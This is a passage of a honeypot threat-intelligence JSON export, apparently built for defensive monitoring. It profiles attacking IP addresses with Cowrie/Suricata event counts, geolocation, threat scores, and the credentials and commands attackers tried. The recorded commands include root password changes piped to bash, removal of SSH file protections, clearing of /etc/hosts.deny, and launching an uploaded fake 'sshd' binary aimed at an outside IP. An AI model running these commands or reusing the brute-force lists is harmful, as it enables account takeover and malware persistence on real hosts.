        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:29:41.563000+00:00",
        "last_seen_30d": "2026-05-20T07:52:46.922000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 92
      }
    },
    "200.105.172.184": {
      "attack_count": 168,
      "first_seen": "2026-05-12T22:28:30.856Z",
      "last_seen": "2026-05-12T23:00:44.180Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "112233445566",
        "19840102",
        "1q2w3e4r!Q@W#E$R",
        "2067",
        "3245gs5662d34",
        "345gs5662d34",
        "Tiger123",
        "admin@#",
        "asdfjkl;",
        "china@2013",
        "emo123",
        "hostmaster",
        "jualan80",
        "k0nig~test",
        "orzeszek",
        "parola123",
        "qwer123$",
        "qwerty1!",
        "tutor",
        "vicky123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:yzOXBUB5yknH\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T22:28:30.856000+00:00",
        "last_seen_30d": "2026-05-12T23:01:52.336000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "138.197.24.70": {
      "attack_count": 164,
      "first_seen": "2026-05-25T03:03:50.209Z",
      "last_seen": "2026-05-25T04:24:18.347Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "nia",
        "345gs5662d34",
        "book",
        "cloud",
        "curl",
        "deploy",
        "linda",
        "mamy",
        "oo",
        "prueba",
        "sammy",
        "story",
        "transfer",
        "user",
        "wiki"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123456*",
        "Wangsu@2017",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "mamamiya",
        "mamy",
        "nia",
        "password",
        "password123",
        "qw12QW!@",
        "story",
        "test",
        "transfer",
        "welltech12",
        "wiki123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"nia\\n5HPd94TYtWSd\\n5HPd94TYtWSd\\n\"|passwd",
        "echo -e \"nia\\n5HPd94TYtWSd\\n5HPd94TYtWSd\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T03:03:50.209000+00:00",
        "last_seen_30d": "2026-05-25T04:25:24.618000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 164,
        "Suricata": 52
      }
    },
    "190.6.32.107": {
      "attack_count": 154,
      "first_seen": "2026-05-14T14:16:18.185Z",
      "last_seen": "2026-05-14T14:43:55.677Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "linux",
        "...",
        "345gs5662d34",
        "pakchoi"
      ],
      "passwords_attempted": [
        "linux123",
        "1a2b3c",
        "1qaz@WSX3edc$RFV",
        "3245gs5662d34",
        "345gs5662d34",
        "Kermit123@",
        "fausto",
        "hamilton",
        "lazaro",
        "lol_lol_L0L_12346!&^$%#@@_87568",
        "microsoft",
        "octopus",
        "pepper",
        "qazwsx",
        "reward",
        "ubuntu@2017",
        "vandidei12",
        "yanis"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"linux123\\no7kviIoEx8HD\\no7kviIoEx8HD\\n\"|passwd",
        "echo -e \"linux123\\no7kviIoEx8HD\\no7kviIoEx8HD\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 11562,
      "as_org": "Net Uno, C.A.",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T14:16:18.185000+00:00",
        "last_seen_30d": "2026-05-14T14:44:58.509000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 154,
        "Suricata": 44
      }
    },
    "151.54.186.244": {
      "attack_count": 124,
      "first_seen": "2026-05-19T06:44:03.195Z",
      "last_seen": "2026-05-19T17:55:47.529Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Messina",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:44:03.195000+00:00",
        "last_seen_30d": "2026-05-19T17:56:51.424000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 62
      }
    },
    "182.240.53.253": {
      "attack_count": 118,
      "first_seen": "2026-05-23T07:56:06.428Z",
      "last_seen": "2026-05-23T14:01:14.821Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 181,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:56:06.428000+00:00",
        "last_seen_30d": "2026-05-23T14:02:22.558000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 63
      }
    },
    "172.93.102.236": {
      "attack_count": 108,
      "first_seen": "2026-05-08T18:37:10.312Z",
      "last_seen": "2026-05-31T12:14:02.920Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 53.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T18:37:10.312000+00:00",
        "last_seen_30d": "2026-05-31T12:15:12.744000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "117.211.213.58": {
      "attack_count": 76,
      "first_seen": "2026-05-19T19:09:44.054Z",
      "last_seen": "2026-05-19T23:04:20.935Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Imphal",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:09:44.054000+00:00",
        "last_seen_30d": "2026-05-19T23:05:23.406000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 38
      }
    },
    "45.78.198.204": {
      "attack_count": 70,
      "first_seen": "2026-05-21T11:26:38.626Z",
      "last_seen": "2026-05-21T11:36:47.087Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "yu",
        "345gs5662d34",
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "apex123",
        "yu123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"yu123\\nVGNCotoEoO0p\\nVGNCotoEoO0p\\n\"|passwd",
        "echo -e \"yu123\\nVGNCotoEoO0p\\nVGNCotoEoO0p\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -m",
        "w",
        "which ls"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T11:26:38.626000+00:00",
        "last_seen_30d": "2026-05-21T11:46:51.988000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 10
      }
    },
    "189.41.97.9": {
      "attack_count": 66,
      "first_seen": "2026-05-22T21:15:52.101Z",
      "last_seen": "2026-05-23T07:32:26.489Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Uberaba",
      "asn": 53006,
      "as_org": "ALGAR TELECOM SA",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:15:52.101000+00:00",
        "last_seen_30d": "2026-05-23T07:33:36.085000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 33
      }
    },
    "8.217.193.233": {
      "attack_count": 65,
      "first_seen": "2026-05-21T07:05:28.102Z",
      "last_seen": "2026-05-21T08:16:33.398Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "bot",
        "devuser",
        "dolphinscheduler",
        "elk",
        "mysql",
        "playground",
        "zlm"
      ],
      "passwords_attempted": [
        "123456",
        "Huawei123",
        "Pass@123",
        "devuser",
        "dolphinscheduler123",
        "elk@123",
        "mysql@1234",
        "playground",
        "qwe123!@",
        "root1234"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:05:28.102000+00:00",
        "last_seen_30d": "2026-05-21T08:26:43.183000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 65,
        "Suricata": 43
      }
    },
    "223.123.41.66": {
      "attack_count": 50,
      "first_seen": "2026-05-08T09:10:19.871Z",
      "last_seen": "2026-05-08T09:15:44.297Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T09:10:19.871000+00:00",
        "last_seen_30d": "2026-05-08T09:16:46.228000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "94.26.106.234": {
      "attack_count": 49,
      "first_seen": "2026-05-10T06:53:55.851Z",
      "last_seen": "2026-05-19T16:22:10.135Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "debian",
        "test",
        "test1"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "2wsx#EDC",
        "root",
        "temppwd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.0,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T07:30:05.733000+00:00",
        "last_seen_30d": "2026-05-19T16:23:13.704000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 49,
        "Suricata": 30
      }
    },
    "103.244.172.236": {
      "attack_count": 48,
      "first_seen": "2026-05-31T16:07:31.167Z",
      "last_seen": "2026-05-31T16:12:42.665Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T16:07:31.167000+00:00",
        "last_seen_30d": "2026-05-31T16:13:47.167000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "113.221.46.228": {
      "attack_count": 48,
      "first_seen": "2026-05-19T06:32:10.184Z",
      "last_seen": "2026-05-19T08:45:55.657Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:32:10.184000+00:00",
        "last_seen_30d": "2026-05-19T08:47:00.182000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 24
      }
    },
    "115.124.73.190": {
      "attack_count": 48,
      "first_seen": "2026-05-12T07:37:11.947Z",
      "last_seen": "2026-05-30T20:21:45.379Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 38511,
      "as_org": "PT Remala Abadi",
      "threat_score": 43.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T07:37:11.947000+00:00",
        "last_seen_30d": "2026-05-30T20:22:49.188000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "66.167.147.90": {
      "attack_count": 48,
      "first_seen": "2026-05-08T18:26:16.865Z",
      "last_seen": "2026-05-08T18:31:28.265Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T18:26:16.865000+00:00",
        "last_seen_30d": "2026-05-08T18:32:31.989000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "139.135.40.236": {
      "attack_count": 46,
      "first_seen": "2026-05-20T11:10:22.381Z",
      "last_seen": "2026-05-20T11:17:21.568Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T11:10:22.381000+00:00",
        "last_seen_30d": "2026-05-20T11:18:27.824000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "117.207.40.55": {
      "attack_count": 44,
      "first_seen": "2026-05-23T08:02:31.392Z",
      "last_seen": "2026-05-23T11:30:50.834Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "N\u0101gaur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:02:31.392000+00:00",
        "last_seen_30d": "2026-05-23T11:31:51.693000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 22
      }
    },
    "34.78.131.165": {
      "attack_count": 33,
      "first_seen": "2026-05-18T02:55:58.053Z",
      "last_seen": "2026-05-18T02:56:14.052Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T02:55:58.053000+00:00",
        "last_seen_30d": "2026-05-18T02:57:22.253000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 20
      }
    },
    "185.204.53.81": {
      "attack_count": 30,
      "first_seen": "2026-05-03T18:15:12.266Z",
      "last_seen": "2026-05-09T12:29:43.410Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 59729,
      "as_org": "Green Floid LLC",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T18:15:12.266000+00:00",
        "last_seen_30d": "2026-05-09T12:30:52.627000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "4.17.226.146": {
      "attack_count": 29,
      "first_seen": "2026-05-20T05:57:02.009Z",
      "last_seen": "2026-05-20T05:59:58.236Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "nginx",
        "ubuntu"
      ],
      "commands_executed": [
        "chmod +x ./.3098078510695212305/sshd;nohup ./.3098078510695212305/sshd 4.4.66.83 &"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Scottsdale",
      "asn": 3356,
      "as_org": "Level 3 Parent, LLC",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T05:57:02.009000+00:00",
        "last_seen_30d": "2026-05-20T06:00:59.484000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 29,
        "Suricata": 16
      }
    },
    "199.195.251.168": {
      "attack_count": 24,
      "first_seen": "2026-05-18T02:56:04.596Z",
      "last_seen": "2026-05-31T00:36:51.455Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
